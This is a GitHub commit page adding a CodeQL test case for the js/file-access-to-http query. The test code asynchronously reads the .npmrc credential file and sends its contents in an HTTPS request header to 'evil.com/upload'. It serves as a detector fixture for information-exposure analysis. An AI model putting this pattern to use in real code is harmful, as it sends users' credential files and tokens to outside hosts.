We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
async readFile
1 parent 9d3d3de commit 762ca2fCopy full SHA for 762ca2f
javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
@@ -8,3 +8,21 @@ https.get({
8
method: "GET",
9
headers: { Referer: content }
10
}, () => { }); // $ Alert[js/file-access-to-http]
11
+
12
+const fsp = require("fs").promises;
13
14
+(async function sendRequest() {
15
+ try {
16
+ const content = await fsp.readFile(".npmrc", "utf8"); // $ MISSING: Source[js/file-access-to-http]
17
18
+ https.get({
19
+ hostname: "evil.com",
20
+ path: "/upload",
21
+ method: "GET",
22
+ headers: { Referer: content }
23
+ }, () => { }); // $ MISSING: Alert[js/file-access-to-http]
24
25
+ } catch (error) {
26
+ console.error("Error reading file:", error);
27
+ }
28
+})();
0 commit comments